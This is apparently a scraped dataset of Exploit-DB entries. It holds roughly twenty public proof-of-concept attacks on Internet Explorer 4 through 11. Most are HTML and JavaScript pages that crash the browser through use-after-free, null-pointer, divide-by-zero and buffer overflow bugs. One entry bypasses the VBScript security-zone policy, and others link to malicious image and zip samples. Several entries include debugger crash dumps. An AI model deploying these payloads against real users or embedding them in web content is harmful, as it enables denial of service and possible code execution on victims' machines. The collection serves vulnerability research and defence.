deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37239
Description: Microsoft Internet Explorer 11 - Crash (PoC) (2)
Type: dos
Platform: windows
Date: 2015-06-08
Author: Pawel Wylecial

Exploit:
<!--
# Exploit title: Microsoft Internet Explorer 11 Crash PoC
# Date: 07.06.2015
# Vulnerable version: 11 (newest at the time 11.0.9600.17801)
# Tested on: Windows 7/8.1
# Author: Pawel Wylecial
# http://howl.overflow.pl @h0wlu
-->
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<script>
function boom() {
        var divA = document.createElement("div");
        document.body.appendChild(divA);

        try {
                //divA.contentEditable = "true";
                divA.outerHTML = "AAAA";
                var context = divA['msGetInputContext']();
        }
        catch (exception) {
        }
}
</script>
</head>
<body onload='boom();'>
</body>
</html>
<!--
(2534.480c): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=0fa48f84 ecx=00000000 edx=0a433fb8 esi=00000000 edi=0fa48e98
eip=5f302e86 esp=0c9db5a4 ebp=0c9db5c8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
MSHTML!Tree::ElementNode::GetCElement:
5f302e86 f[PII_REDACTED]000  test    dword ptr [ecx+8],100000h ds:002b:00000008=????????
-->
Exploit-DB #35202
Description: Microsoft Internet Explorer 11 - Denial of Service
Type: dos
Platform: windows
Date: 2014-11-10
Author: Behrooz Abbassi

Exploit:
# Exploit Title: [ IE D.O.S ]
# Date: [10/28/2014]
# Exploit Author: [Behrooz Abbassi]
# Vendor Homepage: [http://microsoft.com]
# Software Link: [http://windows.microsoft.com/en-us/internet-explorer/download-ie]
# Version: [tested on 8 to 11]
# Tested on: [XP to 8.1 x64/x86]

FuckIE="""<!DOCTYPE html>\n<html>\n<head><title>IE D.O.S</title>\n</head>\n<body>\n %s </body>\n</html>\n"""

rubbish  = """	<div class="First"><div class="Two"/> :-)<div class="Three"> </div>\n""" * 1021

IE_DOS =FuckIE %rubbish

file = open("IE_DOS.html", "w")
file.write(IE_DOS)
file.close()
Exploit-DB #40691
Description: Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free
Type: dos
Platform: windows
Date: 2016-11-02
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

Setting the listStyleImage property of an Element object causes Microsoft Internet Explorer 11 to allocate 0x4C bytes for an "image context" structure, which contains a reference to the document object as well as a reference to the same CMarkup object as the document. When the element is removed from the document (-fragment), this image context is freed on the next "draw". However, the code continues to use the freed context almost immediately after it is freed.

Known affected versions, attack vectors and mitigations

Microsoft Internet Explorer 11
An attacker would need to get a target user to open a specially crafted webpage. As far as can be determined, disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
-->

<script>
  var oDocumentFragment = document.createDocumentFragment(),
      oElement = document.createElement('x');
  oDocumentFragment.appendChild(oElement);
  oElement.style.listStyleImage = "url(x)";
  oDocumentFragment.removeChild(oElement);
</script>

<!--
Exploit

I tried a few tricks to see if there was an easy way to reallocate the freed memory before the reuse, but was unable to find anything. I do not know if there is a way to cause further reuse of the freed memory later on in the code. Running the repro as-is without page heap does not appear to trigger crashes. It does not appear that there is enough time between the free and reuse to exploit this issue.

Timeline

May 2014: This vulnerability was found through fuzzing.
June 2014: This vulnerability was submitted to ZDI.
July 2014: ZDI rejects the submission.
November 2016: The issue does not reproduce in the latest build of MSIE 11.
November 2016: Details of this issue are released.

Unfortunately, my records of what happened after ZDI rejected the issue are patchy. It appears that I did not pursue reporting the issue anywhere else, but Microsoft does appear to have patched the issue, as I can no longer reproduce it.
-->
Exploit-DB #46567
Description: Microsoft Internet Explorer 11 - VBScript Execution Policy Bypass in MSHTML
Type: dos
Platform: windows
Date: 2019-03-19
Author: Google Security Research

Exploit:
<!--
Windows: Windows: IE11 VBScript execution policy bypass in MSHTML
Platform: Windows 10 1809 (not tested earlier)
Class: Security Feature Bypass

Summary:
MSHTML only checks for the CLSID associated with VBScript when blocking in the Internet Zone, but doesn’t check other VBScript CLSIDs which allow a web page to bypass the security zone policy.

Description:
According to https://blogs.windows.com/msedgedev/2017/07/07/update-disabling-vbscript-internet-explorer-11/, Starting from Windows 10 Fall Creators Update, VBScript execution in IE 11 should be disabled for websites in the Internet Zone and the Restricted Sites Zone by default.

The check for the VBScript security zone policy is done in MSHTML!AllowVBScript which is only called from MSHTML!CScriptCollection::GetHolderCLSID if the script language CLSID matches {b54f3741-5b07-11cf-a4b0-00aa004a55e8}. However, IE still supports the old VBScript.Encode language which has a slightly different CLSID of {b54f3743-5b07-11cf-a4b0-00aa004a55e8}. Therefore to bypass the VBScript zone security policy it’s possible to just change the language attribute in the HTML from “VBScript” to “VBScript.Encode”. To add insult to injury you don’t even need to encode the VBScript as if the engine detects the script is not encoded it tries to parse it as unencoded script.

Proof of Concept:

I’ve provided a PoC as a HTML file with a meta tag to force IE5 compatibility. Just host on an HTTP server.

1) Browse IE11 to the PoC on the web server.

Expected Result:
No VBScript is executed.

Observed Result:
VBScript is executed and a message box is displayed.
-->

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=5">
</head>
<body>
<script language="VBScript.Encode">
MsgBox "Hello"
</script>
</body>
</html>
Exploit-DB #33587
Description: Microsoft Internet Explorer 11 - WeakMap Integer Divide-by-Zero
Type: dos
Platform: windows
Date: 2014-05-30
Author: Pawel Wylecial

Exploit:
<!--
# Exploit title: Microsoft Internet Explorer 11 - WeakMap Integer
divide-by-zero DoS
# Date: 29.05.2014
# Vulnerable version: 11
# Tested on: Windows 7/8
# Author: Pawel Wylecial
# http://h0wl.pl @h0wlu
-->

<html>
<script>
var a = [new WeakMap];
a.push(new WeakMap);
a[1].set(a[0], a[1]);
a[0].delete(a[0]);
</script>
</html>

<!--
(674.2408): Integer divide-by-zero - code c0000094 (!!! second chance !!!)
eax=0087e241 ebx=04598cc0 ecx=04598cc8 edx=00000000 esi=04598cc8
edi=041f1aa0
eip=668756f0 esp=05b4b8ac ebp=05b4b8bc iopl=0 nv up ei pl nz na pe
nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
efl=00010206
jscript9!JsUtil::WeaklyReferencedKeyDictionary<Js::DynamicObject,bool,RecyclerPointerComparer<Js::DynamicObject
const *>,1>::TryGetValueAndRemove+0x1f:
668756f0 f736 div eax,dword ptr [esi]
ds:002b:04598cc8=00000000
-->
Exploit-DB #38916
Description: Microsoft Internet Explorer 11.0.9600.18097 - COmWindowProxy::SwitchMarkup NULL PTR
Type: dos
Platform: windows
Date: 2015-12-09
Author: Marcin Ressel

Exploit:
<!doctype html>
<html>
	<head>
		<meta http-equiv='Cache-Control' content='no-cache'/>
		<title>IE11 11.0.9600.18097 NULL PTR</title>
		<script>
    
      /*
       * Exploit Title: IE 11 COmWindowProxy::SwitchMarkup NULL PTR
       * Date: 09.12.2015
       * Exploit Author: Marcin Ressel 
       * Vendor Homepage: www.microsoft.com
       * Software Link: 0
       * Version: 11.0.9600.18097
       * Tested on: Windows 7 x64 
       * https://twitter.com/m_ressel
      */
      var trg,src,arg;

			function tk() {

                targetDomTree = document.getElementsByTagName("*");
		
                var meta = document.createElement('meta');
                    meta.setAttribute("http-equiv", "X-UA-Compatible");
                    meta.setAttribute("content",'IE=10');
            
                document.getElementsByTagName("head")[0].appendChild(meta);
               
                doc = document;
                
                src = targetDomTree[8]; 
				        trg = targetDomTree[1]; 
				        arg = targetDomTree[0];  
        
				        arg.addEventListener("DOMNodeRemoved",new Function("",
                                                                   'try{src.runtimeStyle.textAlignLast="center";}catch(err){}'+
                                                                   'try{trg = arg.removeNode(true);}catch(err){}'+
                                                                   'try{trg.parentNode.style.textAutospace="ideograph-numeric";}catch(err){}'+
                                                                   'try{trg.runtimeStyle="align-items:stretch;";}catch(err){}'+
                                                                   'try{trg.insertAdjacentHTML("afterEnd","<table><tfoot>http://www.w3.org/2000/xmlns/</tfoot></table>");}catch(err){}'+
                                                                   'try{trg.parentElement.parentNode.style.wordWrap="initial";}catch(err){}'+
                                                                   'try{trg.parentNode.style.writingMode="vertical-rl";}catch(err){}'+
                                                                   'try{doc.write("");}catch(err){}try{trg.style.whiteSpace="pre"; }catch(err){}'
                                                                  ),
                                                                  true); 

				        trg.outerText = new Object(); 
				        trg.parentNode.appendChild(document.createElement("div")); 
			}
		</script>
	</head>
	<body onload='tk();'>
	<div id="out">..</div>
  <div id="oneUnArg">...</div>
  <div id="pHolder"></div>	
	</body>
</html>
Exploit-DB #39144
Description: Microsoft Internet Explorer 11.0.9600.18124 EdUtil::GetCommonAncestorElement - Denial of Service
Type: dos
Platform: windows
Date: 2015-12-31
Author: Marcin Ressel

Exploit:
<!doctype html>
<html>
	<head>
		<meta http-equiv='Cache-Control' content='no-cache'/>
		<title>EdUtil::GetCommonAncestorElement Remote Crash</title>
		<script>
      /*
      * Title : IE11 EdUtil::GetCommonAncestorElement Remote Crash
      * Date : 31.12.2015
      * Author : Marcin Ressel (https://twitter.com/m_ressel)
      * Vendor Hompage : www.microsoft.com
      * Software Link : n/a
      * Version : 11.0.9600.18124
      * Tested on: Windows 7 x64
      */
         		
      var trg,src,arg;
      var range,select,observer;
			function testcase()
			{
			  document.body.innerHTML ='<table><colgroup></colgroup><table><tbody><table><table></table><col></col></table></tbody></table></table><select><option>0]. option</option><option>1]. option</option></select><ul type="circle"><li>0]. li</li><li>1]. li</li><li>2]. li</li><li>3]. li</li></ul><select><option>0]. option</option><option>1]. option</option><option>2]. option</option><option>3]. option</option><option>4]. option</option><option>5]. option</option><option>6]. option</option><option>7]. option</option></select>';
		    var all = document.getElementsByTagName("*"); 
			  trg = all[9];
			  src = all[2]; 
				arg = all[12];
	      select = document.getSelection(); 
			  observer = new MutationObserver(new Function("","range = select.getRangeAt(258);")); 
				select.selectAllChildren(document);
			  document.execCommand("selectAll",false,'<ul type="square"><li>0]. li</li><li>1]. li</li><li>2]. li</li><li>3]. li</li><li>4]. li</li><li>5]. li</li><li>6]. li</li></ul><select><option>0]. option</option><option>1]. option</option><option>2]. option</option><option>3]. option</option><option>4]. option</option><option>5]. option</option><option>6]. option</option><option>7]. option</option></select>');	
			}
		</script>
	</head>
	<body onload='testcase();'>	
	</body>
</html>
Exploit-DB #20552
Description: Microsoft Internet Explorer 4 / Outlook 2000/5.5 - 'MSHTML.dll' Crash
Type: dos
Platform: windows
Date: 2001-01-15
Author: Thor Larholm

Exploit:
source: https://www.securityfocus.com/bid/2202/info

MSHTML.DLL is the shared library for parsing HTML in Internet Explorer and related applications. It may be possible for an attacker to crash this library remotely and cause a denial of service with special Jscript code.

This bug involves Jscript's ability to handle multiple window objects. If a window object is deleted after it receives data and then re-initalized, the library will reportedly crash. This behavior has been attributed to a stack overflow by its discoverer. It is reportedly not exploitable in any way that may permit an attacker to gain access to the victim host.

Microsoft has acknowledged this bug and it should be fixed in the next service pack. 

<iframe id=test style="display:none"></iframe>
<script>
Larholm = {}; // Object literal
test.document.open(); // Stream data
test.document.write("<s"+"cript>top.Larholm.test=0</s"+"cript>");
delete Larholm;
Larholm = {}; // Crash
</script>
Exploit-DB #19471
Description: Microsoft Internet Explorer 5 - HTML Form Control Denial of Service
Type: dos
Platform: windows
Date: 1999-08-27
Author: Neon Bunny

Exploit:
Microsoft Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4 HTML Form Control DoS

source: https://www.securityfocus.com/bid/606/info

Certain Microsoft applications (IE5, Outlook Express 5) are unable to display large HTML form fields within HTML tables. Attempts to view the offending table will cause the application to "hang" and consume 100% CPU resources until the application is closed. 

---{START SOURCE}---

<html>

<head>
<title>NeonBunny's IE5 Crasher</title>
</head>

<body>

<form method="POST">

<table>
<tr>
<td width="20%"><input type="text" name="State" size="99999999"
maxlength="99999999" value=""></td>
</tr>
</table>

</form>
</body>
</html>

---{STOP SOURCE}---
Exploit-DB #25991
Description: Microsoft Internet Explorer 5.0.1 - '.JPEG' Image Rendering Buffer Overflow
Type: dos
Platform: windows
Date: 2005-07-15
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/14282/info

Microsoft Internet Explorer is prone to a buffer overflow vulnerability in the JPEG image rendering library used by the browser. This issue is due to a failure of the application to properly bounds check input data prior to copying it to a fixed size memory buffer.

This issue was identified by creating random input for the browser, and has not been researched further at this time. This BID will be updated as further information is disclosed.

Successful exploitation may result in execution of arbitrary code in the context of the user executing the affected browser. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25992-1.jpg
Exploit-DB #25992
Description: Microsoft Internet Explorer 5.0.1 - '.JPEG' Image Rendering CMP Fencepost Denial of Service
Type: dos
Platform: windows
Date: 2005-07-15
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/14284/info

Microsoft Internet Explorer is prone to an unspecified denial of service vulnerability in the JPEG image rendering library used by the browser. This issue is reportedly similar to the one described in BID 14282.

This issue was identified by creating random input for the browser, and has not been researched further at this time. This BID will be updated as further information is disclosed.

Successful exploitation results in crashing the affected Web browser. It may be possible that execution of arbitrary code may also be achieved, but this has not been confirmed. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25992-1.jpg

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31984.jpg
Exploit-DB #24135
Description: Microsoft Internet Explorer 5.0.1 - CSS Style Sheet Memory Corruption
Type: dos
Platform: windows
Date: 2004-05-18
Author: henkie_is_leet

Exploit:
source: https://www.securityfocus.com/bid/10382/info

A vulnerability identified in Internet Explorer may allow an attacker to cause the application to crash. The issue presents itself when the browser attempts to process an HTML page containing a table and loads a css style sheet from a file.

This issue could be exploited by a remote attacker to cause a denial of service condition in the browser. 

<table>
<td>
<form class="quick">
<td>
</form>
</table>
<link rel="stylesheet" href="link.css">
Exploit-DB #27971
Description: Microsoft Internet Explorer 5.0.1 - Frameset Memory Corruption
Type: dos
Platform: windows
Date: 2006-06-05
Author: Kil13r

Exploit:
source: https://www.securityfocus.com/bid/18277/info

Microsoft Internet Explorer is affected by a memory-corruption vulnerability. This issue arises because the application fails to handle exceptional conditions in a proper manner.

An attacker may exploit this issue by enticing a user to visit a malicious site and then to click anywhere on the page. This results in a denial-of-service condition in the application.

The vendor reports this issue may also be exploited to execute arbitrary code in the context of the victim user.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27971.zip
Exploit-DB #26985
Description: Microsoft Internet Explorer 5.0.1 - HTML Parsing Denial of Service
Type: dos
Platform: windows
Date: 2005-12-27
Author: Christian Deneke

Exploit:
source: https://www.securityfocus.com/bid/16070/info

Microsoft Internet Explorer is affected by multiple denial of service vulnerabilities.

An attacker may exploit these issues by enticing a user to visit a malicious site resulting in a denial of service condition in the application. 

Crash 1:
> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN">
> </samp></colgroup><ul><font><menu> <code> <var>
> <sub><h2></fieldset>
> </kbd></frameset>
> </ins></map></noframes>
> </isindex>
> </code>
> </div></title>
> </del></var><isindex>
> <i>

Crash 2:
> <acronym><dd><h5><applet></caption></applet><li></h1>

Crash 3:
> <table datasrc=".">
Exploit-DB #24119
Description: Microsoft Internet Explorer 5.0.1 - http-equiv Meta Tag Denial of Service
Type: dos
Platform: windows
Date: 2004-05-14
Author: Mike Mauler

Exploit:
source: https://www.securityfocus.com/bid/10351/info

It has been reported that Internet Explorer is prone to a denial of service vulnerability when processing a malicious script containing the 'window.createPopup()' method to invoke the 'http-equiv' meta tag.

This issue could be exploited by a remote attacker to cause a denial of service condition in the browser.

<script type="text/javascript">
Wnd = window.createPopup();
Wnd.document.body.innerHTML='<meta http-equiv="imagetoolbar" content="no">';
</script>
Exploit-DB #27082
Description: Microsoft Internet Explorer 5.0.1 - Malformed .IMG / .XML Parsing Denial of Service
Type: dos
Platform: windows
Date: 2006-01-16
Author: Inge Henriksen

Exploit:
source: https://www.securityfocus.com/bid/16240/info

Microsoft Internet Explorer is affected by a denial of service vulnerability.

This issue presents itself when the browser handles a specially crafted IMG element in a malformed XML block.

An attacker may exploit this issue by enticing a user to visit a malicious site resulting in a denial of service condition in the application.

A proof of concept is available:
<table><tr><td><IMG align=left>X X X<?xml:namespace prefix=v ><v:X style="HEIGHT:1"></td></tr></table>
Exploit-DB #29536
Description: Microsoft Internet Explorer 5.0.1 - Multiple ActiveX Controls Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2007-01-29
Author: Alexander Sotirov

Exploit:
source: https://www.securityfocus.com/bid/22288/info

Microsoft Internet Explorer is prone to multiple denial-of-service vulnerabilities because the application fails to handle exceptional conditions.

These issues are triggered when an attacker entices a victim user to visit a malicious website.

Remote attackers may exploit these issues to crash Internet Explorer, effectively denying service to legitimate users. 

<html>
<body>
  <script language="JavaScript">
    obj = new ActiveXObject("giffile");
    obj.bgColor;
  </script>
</body>
</html>
Exploit-DB #27433
Description: Microsoft Internet Explorer 5.0.1 - Script Action Handler Buffer Overflow
Type: dos
Platform: windows
Date: 2006-03-16
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/17131/info

Microsoft Internet Explorer is susceptible to a remote buffer-overflow vulnerability in 'MSHTML.DLL'. The application fails to properly bounds-check user-supplied input data before copying it into an insufficiently sized memory buffer.

Remote attackers may exploit this issue to crash affected web browsers. Remote code execution may also be possible, but this has not been confirmed.

Internet Explorer 6 is vulnerable to this issue; other versions may also be affected.

The following proof of concept is available:

<script>
for(s='<a onclick=',i=0;i<8||(document.write(s+'>'));i++)s+=s;
</script>
Exploit-DB #30494
Description: Microsoft Internet Explorer 5.0.1 - Vector Markup Language 'VGX.dll' Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2007-08-14
Author: Ben Nagy & Derek Soeder

Exploit:
source: https://www.securityfocus.com/bid/25310/info

Microsoft Internet Explorer is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

This issue occurs when rendering VML (Vector Markup Language) graphics.

Attackers can leverage this issue to execute arbitrary code in the context of the currently logged-in user.

Successful attacks may facilitate the remote compromise of affected computers. Failed attacks will likely cause denial-of-service conditions. 

To exploit this issue, an attacker must entice an unsuspecting user to view a malicious HTML document.

A VML document containing the following construct pointing to a malicious compressed image file will trigger this issue:

<v:rect>
<v:imagedata src="http://www.example.com/compressed.emz">
</v:rect>
Exploit-DB #20515
Description: Microsoft Internet Explorer 5.0.1/5.5 - 'mstask.exe' CPU Consumption (Denial of Service)
Type: dos
Platform: windows
Date: 2000-12-13
Author: Ilia Sprite

Exploit:
source: https://www.securityfocus.com/bid/2129/info

Microsoft Internet Explorer ships with a task scheduler engine (mstask.exe). By default mstask.exe listens between port 1025 to 1220.

It is possible for a user to cause CPU utilization DoS. Sending malformed arguments to the mstask.exe service will cause the CPU utilization to spike. By default, mstask.exe enables connections through the local host only. A restart of the system is required in order to gain normal functionality.

Exploitation of this vulnerability could be more serious with repeated attacks.

* Conflicting reports exist, some users have been unable to reproduce this issue. 

1. Start telnet.exe
2. Menu->Connect->Remote System=127.0.0.1 , Port=1026
3. Press 'Connect' button
4. When it is connects, type some random characters and press enter.
5. Close telnet.exe.